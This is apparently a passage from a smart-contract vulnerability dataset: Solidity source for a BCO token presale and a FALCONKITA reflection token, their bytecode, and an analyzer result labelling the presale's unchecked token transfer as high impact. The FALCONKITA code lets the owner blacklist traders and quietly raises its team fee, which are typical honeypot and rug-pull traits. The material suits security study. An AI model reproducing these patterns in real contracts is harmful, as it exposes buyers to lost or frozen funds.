_to, _value); return true; } // get priveleged balance function getPrivilegedBalance(address _owner) constant returns (uint balance) { return previligedBalances[_owner]; } // admin only can transfer from the privileged accounts function transferFromPrivileged(address _from, address _to, uint _value) onlyOwner returns (bool success) { uint availablePrevilegedBalance = previligedBalances[_from]; balances[_from] = safeSub(balances[_from], _value); balances[_to] = safeAdd(balances[_to], _value); previligedBalances[_from] = safeSub(availablePrevilegedBalance, _value); Transfer(_from, _to, _value); return true; } /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = safeAdd(totalSupply, amount); balances[receiver] = safeAdd(balances[receiver], amount); // This will make the mint transaction apper in EtherScan.io // We can remove this after there is a standardized minting event Transfer(0, receiver, amount); } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } } contract PreSaleBCO { address public beneficiary; uint public startline; uint public deadline; uint public price; uint public amountRaised; mapping(address => uint) public actualGotETH; BCOToken public tokenReward; modifier onlyOwner() { if(msg.sender != beneficiary) throw; _; } modifier whenCrowdsaleIsFinished() { if(now < deadline) throw; _; } modifier whenRefundAvailable() { if(tokenReward.balanceOf(address(this)) <= 0) throw; _; } function PreSaleBCO( uint start, uint end, uint costOfEachToken, BCOToken addressOfTokenUsedAsReward ) { beneficiary = msg.sender; startline = start; deadline = end; price = costOfEachToken; tokenReward = BCOToken(addressOfTokenUsedAsReward); } function () payable { if (now <= startline) throw; if (now >= deadline) throw; uint amount = msg.value; if (amount < price) throw; amountRaised += amount; uint tokensToSend = amount / price; actualGotETH[msg.sender] += amount; tokenReward.transfer(msg.sender, tokensToSend); } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { beneficiary = newOwner; } } function Refund() whenRefundAvailable whenCrowdsaleIsFinished { msg.sender.transfer(actualGotETH[msg.sender]); } function WithdrawETH(uint amount) onlyOwner { beneficiary.transfer(amount); } function WithdrawAllETH() onlyOwner { beneficiary.transfer(amountRaised); } function WithdrawTokens(uint amount) onlyOwner { tokenReward.transfer(beneficiary, amount); } function ChangeCost(uint costOfEachToken) onlyOwner { price = costOfEachToken; } function ChangeStart(uint start) onlyOwner { startline = start; } function ChangeEnd(uint end) onlyOwner { deadline = end; } }
0x606060405236156100d85763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630e78501f81146101d1578063162bc80c146101e65780631ffe4cca146101fb57806329a5c0f41461021d57806329dcb0cf1461022f5780632ae8b4a31461025157806338af3eed1461027f5780635d268629146102ab5780636e66f6e9146102bd5780637b3e5e7b146102e957806394effa141461030b578063a035b1fe14610320578063c47af5cf14610342578063f2fde38b14610357578063f72f682614610375575b6101cf5b60006000600154421115156100f15760006000fd5b60025442106101005760006000fd5b3491506003548210156101135760006000fd5b60048054830190556003548281151561012857fe5b600160a060020a03338116600081815260056020908152604080832080548a0190556006548151830184905281517fa9059cbb000000000000000000000000000000000000000000000000000000008152600481019590955296909504602484018190529451949650949092169363a9059cbb9360448084019492939192918390030190829087803b15156101b957fe5b6102c65a03f115156101c757fe5b5050505b5050565b005b34156101d957fe5b6101cf60043561038a565b005b34156101ee57fe5b6101cf6004356103b0565b005b341561020357fe5b61020b610458565b60408051918252519081900360200190f35b341561022557fe5b6101cf61045e565b005b341561023757fe5b61020b6104b0565b60408051918252519081900360200190f35b341561025957fe5b61020b600160a060020a03600435166104b6565b60408051918252519081900360200190f35b341561028757fe5b61028f6104c8565b60408051600160a060020a039092168252519081900360200190f35b34156102b357fe5b6101cf6104d7565b005b34156102c557fe5b61028f6105b5565b60408051600160a060020a039092168252519081900360200190f35b34156102f157fe5b61020b6105c4565b60408051918252519081900360200190f35b341561031357fe5b6101cf6004356105ca565b005b341561032857fe5b61020b61061b565b60408051918252519081900360200190f35b341561034a57fe5b6101cf600435610621565b005b341561035f57fe5b6101cf600160a060020a0360043516610647565b005b341561037d57fe5b6101cf6004356106a0565b005b60005433600160a060020a039081169116146103a65760006000fd5b60018190555b5b50565b60005433600160a060020a039081169116146103cc5760006000fd5b6006546000805460408051602090810184905281517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039384166004820152602481018790529151929094169363a9059cbb9360448084019492938390030190829087803b151561044257fe5b6102c65a03f1151561045057fe5b5050505b5b50565b60015481565b60005433600160a060020a0390811691161461047a5760006000fd5b60008054600454604051600160a060020a039092169281156108fc029290818181858888f1935050505015156104ac57fe5b5b5b565b60025481565b60056020526000908152604090205481565b600054600160a060020a031681565b600654604080516000602091820181905282517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a0330811660048301529351919493909316926370a0823192602480830193919282900301818787803b151561054557fe5b6102c65a03f1151561055357fe5b5050604051519190911190506105695760006000fd5b6002544210156105795760006000fd5b600160a060020a03331660008181526005602052604080822054905181156108fc0292818181858888f1935050505015156104ac57fe5b5b5b5b565b600654600160a060020a031681565b60045481565b60005433600160a060020a039081169116146105e65760006000fd5b60008054604051600160a060020a039091169183156108fc02918491818181858888f1935050505015156103ac57fe5b5b5b50565b60035481565b60005433600160a060020a0390811691161461063d5760006000fd5b60038190555b5b50565b60005433600160a060020a039081169116146106635760006000fd5b600160a060020a038116156103ac576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b60005433600160a060020a039081169116146106bc5760006000fd5b60028190555b5b505600a165627a7a723058207933f5a787339985e36a6e156beb0ec2152e2c1e84ee170868ea37ba61abecc20029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
7,326
0x6397247a216e56cd2bc24b56b6572d7b2c837757
/** *Submitted for verification at Etherscan.io on 2021-07-07 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FALCONKITA is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "FALCONKITA"; string private constant _symbol = "FAKITA"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 1; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(6).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 12); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f07565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a2a565b61045e565b6040516101789190612eec565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a9565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129db565b61048d565b6040516101e09190612eec565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061294d565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061311e565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa7565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061294d565b610783565b6040516102b191906130a9565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e1e565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f07565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a2a565b61098d565b60405161035b9190612eec565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a66565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af9565b6110d5565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299f565b61121e565b60405161041891906130a9565b60405180910390f35b60606040518060400160405280600a81526020017f46414c434f4e4b49544100000000000000000000000000000000000000000000815250905090565b600061047261046b6112a5565b84846112ad565b6001905092915050565b600068056bc75e2d63100000905090565b600061049a848484611478565b61055b846104a66112a5565b610556856040518060600160405280602881526020016137e260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c379092919063ffffffff16565b6112ad565b600190509392505050565b61056e6112a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe9565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe9565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a5565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c9b565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dbc565b9050919050565b6107dc6112a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f46414b4954410000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a5565b8484611478565b6001905092915050565b6109b36112a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe9565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133bf565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a5565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e2a565b50565b610b7d6112a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe9565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613069565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006112ad565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612976565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612976565b6040518363ffffffff1660e01b8152600401610e1f929190612e39565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612976565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e8b565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b22565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506b0813f3978f894098440000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107f929190612e62565b602060405180830381600087803b15801561109957600080fd5b505af11580156110ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d19190612ad0565b5050565b6110dd6112a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116190612fe9565b60405180910390fd5b600081116111ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a490612fa9565b60405180910390fd5b6111dc60646111ce8368056bc75e2d6310000061212490919063ffffffff16565b61219f90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161121391906130a9565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131490613049565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138490612f69565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146b91906130a9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114df90613029565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154f90612f29565b60405180910390fd5b6000811161159b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159290613009565b60405180910390fd5b6115a3610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161157506115e1610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7457600f60179054906101000a900460ff1615611844573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ed5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117475750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184357600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178d6112a5565b73ffffffffffffffffffffffffffffffffffffffff1614806118035750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117eb6112a5565b73ffffffffffffffffffffffffffffffffffffffff16145b611842576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183990613089565b60405180910390fd5b5b5b60105481111561185357600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f75750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61190057600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119ab5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a015750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a195750600f60179054906101000a900460ff165b15611aba5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6957600080fd5b603c42611a7691906131df565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac530610783565b9050600f60159054906101000a900460ff16158015611b325750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b4a5750600f60169054906101000a900460ff165b15611b7257611b5881611e2a565b60004790506000811115611b7057611b6f47611c9b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c1b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2557600090505b611c31848484846121e9565b50505050565b6000838311158290611c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c769190612f07565b60405180910390fd5b5060008385611c8e91906132c0565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfe600a611cf060048661212490919063ffffffff16565b61219f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d29573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d8d600a611d7f60068661212490919063ffffffff16565b61219f90919063ffffffff16565b908